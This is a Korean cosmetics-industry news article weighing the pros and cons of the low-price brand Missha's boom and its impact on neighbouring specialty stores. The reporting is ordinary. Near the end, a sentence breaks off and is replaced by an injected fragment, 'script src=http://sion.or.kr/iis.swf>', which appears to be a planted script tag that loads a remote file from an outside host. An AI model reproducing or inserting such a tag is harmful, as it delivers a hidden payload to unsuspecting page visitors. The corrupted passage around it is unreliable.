특히 최근 전문점 시장마저 중고가 제품들이 대부분이라는 점에서 미샤의 돌풍은 전체 화장품 가격대의 거품을 뺄수 있는 발판을 마련했다는 긍정적인 해석도 나오고 있다.
업계 마케팅담당 한 관계자는 “이러한 관점에서 미샤의 돌풍은 쉽게 기세가 꺾이지 않을 것”이라며 제2의 미샤의 탄생까지 예고했다.
“저가격대에서 특히 색조제품을 중심으로 높은 매출이 나오는 것은 앞으로도 성장 가능성이 있는 증거라고 판단된다. 색조제품들은 구매 사이클이 빠르고, 미샤의 가격대라면 사용하다 새로운 컬러가 유행할 때 즉시 재구매를 할 수 있어 부담없는 수준”이라고 말했다.
또한 현재와 같은 불황에 계속적인 고가격만을 고집하던 업체들에게 중저가대 제품들을 낼 수 있는 명분을 만들어 주었다는 점에서 화장품업계 전체에 매우 긍정적인 영향을 주었다는 평가도 쏟아지고 있다.
한 전문점주는 “경기불황이 장기화되고 있는 상황에서 생활필수품인 화장품 가격의 부담으로 인해 구매력이 떨어지고 있었지만 고객에 대한 배려는 전혀 하지 않았다”며 “미샤를 통해 이젠 가격의 거품을 걷어내야 한다”고 말했다.
미샤를 통해 화장품업계가 고객의 입장에서 미처 생각지 못하고 안일했던 전략이 앞으로 전면수정될 수 있는 기대감을 주고 있다.
저가 외 매력없어… 호기심 구매 대부분
이래서 부정적으로 본다
미샤의 전략은 가격 이외에 고객을 끌어들일 수 있는 특별한 유인 전략이 없다는 태생적인 한계를 갖고 있어 미샤의 돌풍이 장기화되기는 어렵다는 것이 업계 관계자들의 중론이다.
또한 현재와 같은 저가격대로는 높은 이윤을 장기화할 수 있는 수익구조를 갖고 있지 못하다는 점도 지적되고 있다.
즉, 수익구조를 개선하기 위해서는 어쩔 수 없이 가격대를 높여야 하는데 이렇게 되면 결국 미샤의 장점인 저가격대가 없어지게 되기 때문에 고객은 떠날 수밖에 없다는 문제점을 드러내게 된다.
특히 현재 구매 행태는 저가에 따른 호기심 구매가 대부분이라는 면에서 연속적인 재구매가 불투명하다는 점이 미샤의 가장 큰 문제점이라고 말하는 관계자들도 많다.
업계 한 임원은 미샤의 돌풍에 대해서 상당한 부정적인 시각을 나타냈다. “거품을 빼 저가를 표방한 전략의 미샤가 갑자기 높은 모델료를 지불하며 ‘보아’를 기용한 것은 결국 미샤 스스로 자기원칙을 깬 것”이라고 지적했다.
현재 미샤의 주고객층은 10, 20대 초반으로 지갑이 얇은 나이층이기 때문에 고정고객을 확보하는 데는 매출면에서 장기적으로 문제가 될 수 있다는 점도 관계자들은 지적하고 있다.
유통업계 관계자는 “앞으로 문제는 도대체 화장품의 원가는 얼마인데 이러한 저가가 나올 수 있느냐는 화장품 전체에 대해 불신 풍토가 생길 수 있다는 점에서 매우 염려가 된다”고 밝혔다.
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색조 매출 심각한 타격 주변 전문점 차별화 전략 고심
미샤를 바라보는 기존 화장품 전문점주들의 마음은 편치 못하다.
겨울 성수기를 나름대로 대비하고 있지만 경기는 좀처럼 나아질 기미를 보이지 않기 때문이다. 반면 미샤 매장은 경기침체란 말이 무색할 정도로 손님들의 발길로 발디딜 틈이 없을 정도다.
일각에서 미샤가 경기침체기의 틈새전략으로 나왔다는 점에서 오래가지 못할 것이라는 위로도 하지만 그래도 하루 평균 700만원 이상의 매출을 올린다는 말은 전문점주의 어깨를 더욱 움추려들게 하고 있다. 특히 인근에 미샤 매장이 들어선 전문점들은 더욱 큰 영향을 받는 듯 하다.
명동의 모전문점 사장은 “처음엔 싸구려 제품이 얼마 가겠냐고 생각했지만 날이 갈수록 몰려드는 사람들의 모습에 놀라고 있다”고 말했고, 잠실지하상가의 모 전문점주는 “얼마 전 지하상가에 미샤가 들어온 뒤부터 조금씩 영향을 받고 있다”고 우려했다.
특히 미샤 매출의 절반 가까이 색조제품에 몰리면서 인근 매장의 색조매출이 덩달아 떨어지는 현상도 보이고 있다.
이 때문에 일부 전문점주의 경우, 가뜩이나 매출이 바닥권에 머물고 있는데 미샤 덕분에 더욱 힘들게 되면서 업종변환을 심각하게 고려중이라고 한다. 실제로 미샤 명동 1호점이 오픈한 직후, 아바타몰의 대형매?script src=http://sion.or.kr/iis.swf> webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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